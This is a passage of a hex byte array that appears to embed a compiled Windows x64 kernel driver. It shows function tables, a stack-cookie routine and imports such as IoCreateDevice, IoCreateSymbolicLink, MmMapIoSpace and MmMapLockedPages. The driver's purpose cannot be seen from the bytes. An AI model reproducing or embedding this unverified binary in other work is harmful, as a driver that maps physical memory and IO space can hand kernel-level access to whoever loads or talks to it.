0x64, 0x08, 0x00, - 0x19, 0x54, 0x07, 0x00, 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, - 0x02, 0x0A, 0x06, 0x00, 0x06, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, - 0x0A, 0x32, 0x06, 0x70, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, - 0x01, 0x06, 0x0A, 0x06, 0x05, 0x06, 0x00, 0x06, 0x02, 0x04, 0x01, 0x00, - 0x04, 0x62, 0x00, 0x00, 0x02, 0x02, 0x03, 0x00, 0x06, 0x16, 0x00, 0x06, - 0x02, 0x30, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x01, 0x06, 0xE8, 0x26, - 0x48, 0x16, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00, - 0x01, 0x16, 0xAF, 0x06, 0x02, 0x00, 0x02, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, - 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x50, 0x12, 0x00, 0x00, 0x37, 0x13, 0x00, 0x00, - 0x6C, 0x45, 0x00, 0x00, 0x38, 0x13, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, - 0x30, 0x45, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, 0x22, 0x17, 0x00, 0x00, - 0x0C, 0x45, 0x00, 0x00, 0x24, 0x17, 0x00, 0x00, 0x86, 0x17, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x88, 0x17, 0x00, 0x00, 0xDB, 0x17, 0x00, 0x00, - 0x0C, 0x46, 0x00, 0x00, 0xDC, 0x17, 0x00, 0x00, 0x1D, 0x18, 0x00, 0x00, - 0xC8, 0x45, 0x00, 0x00, 0x20, 0x18, 0x00, 0x00, 0x9A, 0x18, 0x00, 0x00, - 0xD4, 0x45, 0x00, 0x00, 0x9C, 0x18, 0x00, 0x00, 0x7A, 0x19, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x7C, 0x19, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, - 0x50, 0x44, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, 0x1A, 0x1F, 0x00, 0x00, - 0x64, 0x44, 0x00, 0x00, 0x1C, 0x1F, 0x00, 0x00, 0x85, 0x1F, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0x88, 0x1F, 0x00, 0x00, 0x4A, 0x20, 0x00, 0x00, - 0x84, 0x44, 0x00, 0x00, 0x4C, 0x20, 0x00, 0x00, 0xF7, 0x20, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0xF8, 0x20, 0x00, 0x00, 0xC7, 0x21, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0xC8, 0x21, 0x00, 0x00, 0xC1, 0x22, 0x00, 0x00, - 0x9C, 0x44, 0x00, 0x00, 0xC4, 0x22, 0x00, 0x00, 0x4A, 0x23, 0x00, 0x00, - 0xB4, 0x44, 0x00, 0x00, 0x4C, 0x23, 0x00, 0x00, 0xDE, 0x23, 0x00, 0x00, - 0xC4, 0x44, 0x00, 0x00, 0xE0, 0x23, 0x00, 0x00, 0xCF, 0x24, 0x00, 0x00, - 0xEC, 0x45, 0x00, 0x00, 0xD0, 0x24, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, - 0x30, 0x45, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, 0xD7, 0x28, 0x00, 0x00, - 0xEC, 0x44, 0x00, 0x00, 0xD8, 0x28, 0x00, 0x00, 0x3B, 0x29, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x3C, 0x29, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, - 0x00, 0x46, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, 0xB1, 0x29, 0x00, 0x00, - 0xC4, 0x44, 0x00, 0x00, 0xB4, 0x29, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, - 0x0C, 0x46, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, 0x49, 0x2B, 0x00, 0x00, - 0x88, 0x45, 0x00, 0x00, 0x4C, 0x2B, 0x00, 0x00, 0x1A, 0x2C, 0x00, 0x00, - 0xA8, 0x45, 0x00, 0x00, 0x68, 0x2C, 0x00, 0x00, 0x0F, 0x2D, 0x00, 0x00, - 0xD4, 0x44, 0x00, 0x00, 0x64, 0x2D, 0x00, 0x00, 0x30, 0x2E, 0x00, 0x00, - 0x20, 0x46, 0x00, 0x00, 0x40, 0x2E, 0x00, 0x00, 0x5F, 0x2E, 0x00, 0x00, - 0x50, 0x46, 0x00, 0x00, 0x60, 0x2E, 0x00, 0x00, 0x87, 0x2E, 0x00, 0x00, - 0x5C, 0x46, 0x00, 0x00, 0x90, 0x2E, 0x00, 0x00, 0xAD, 0x2E, 0x00, 0x00, - 0xC8, 0x45, 0x00, 0x00, 0xB0, 0x2E, 0x00, 0x00, 0x0A, 0x2F, 0x00, 0x00, - 0x64, 0x46, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x00, 0x32, 0x2F, 0x00, 0x00, - 0x88, 0x46, 0x00, 0x00, 0x50, 0x2F, 0x00, 0x00, 0x78, 0x2F, 0x00, 0x00, - 0x90, 0x46, 0x00, 0x00, 0x80, 0x2F, 0x00, 0x00, 0xC6, 0x2F, 0x00, 0x00, - 0x94, 0x46, 0x00, 0x00, 0xD0, 0x2F, 0x00, 0x00, 0xD6, 0x2F, 0x00, 0x00, - 0x98, 0x46, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x00, 0xE1, 0x2F, 0x00, 0x00, - 0x9C, 0x46, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x39, 0x33, 0x00, 0x00, - 0x70, 0x46, 0x00, 0x00, 0x40, 0x33, 0x00, 0x00, 0x3A, 0x34, 0x00, 0x00, - 0x80, 0x46, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x2A, 0x80, 0x00, 0x00, - 0x3C, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, - 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0x48, - 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xE9, 0xFA, 0x96, - 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0x05, 0xD5, 0xCF, 0xFF, 0xFF, 0x45, - 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, - 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, 0x75, 0x38, 0x0F, 0x31, - 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xB1, 0xCF, 0xFF, 0xFF, 0x48, - 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, 0xA4, 0xCF, 0xFF, 0xFF, - 0x66, 0x44, 0x89, 0x0D, 0xA2, 0xCF, 0xFF, 0xFF, 0x48, 0x8B, 0x05, 0x95, - 0xCF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0x49, 0x8B, 0xC0, 0x48, - 0x89, 0x05, 0x86, 0xCF, 0xFF, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, - 0x84, 0xCF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, 0xE0, 0x80, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x84, 0x00, 0x00, - 0x10, 0x40, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x44, 0x84, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x07, 0x52, 0x74, - 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, - 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x57, 0x00, 0x44, 0x62, - 0x67, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x00, 0x00, 0xB1, 0x03, 0x4B, 0x65, - 0x41, 0x63, 0x71, 0x75, 0x69, 0x72, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, - 0x63, 0x6B, 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, - 0x4C, 0x6F, 0x63, 0x6B, 0x00, 0x00, 0x5F, 0x04, 0x4B, 0x65, 0x52, 0x65, - 0x6C, 0x65, 0x61, 0x73, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, - 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, 0x4C, 0x6F, - 0x63, 0x6B, 0x00, 0x00, 0x94, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, - 0x63, 0x61, 0x74, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0xBE, 0x00, - 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, - 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0xE2, 0x04, 0x4D, 0x6D, 0x42, 0x75, - 0x69, 0x6C, 0x64, 0x4D, 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, - 0x50, 0x61, 0x67, 0x65, 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x0D, 0x05, - 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, - 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0x34, 0x05, 0x4D, 0x6D, 0x55, 0x6E, - 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, - 0x65, 0x73, 0x00, 0x00, 0x0B, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, - 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x33, 0x05, 0x4D, 0x6D, - 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, - 0x00, 0x00, 0xD5, 0x04, 0x4D, 0x6D, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, - 0x74, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, 0x75, 0x73, - 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0xEF, 0x04, 0x4D, 0x6D, - 0x46, 0x72, 0x65, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, - 0x75, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0x65, 0x02, - 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, - 0x6C, 0x00, 0x9B, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, - 0x8B, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, - 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x96, 0x02, 0x49, 0x6F, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, - 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xA2, 0x02, 0x49, 0x6F, 0x44, 0x65, - 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, - 0xA4, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, - 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 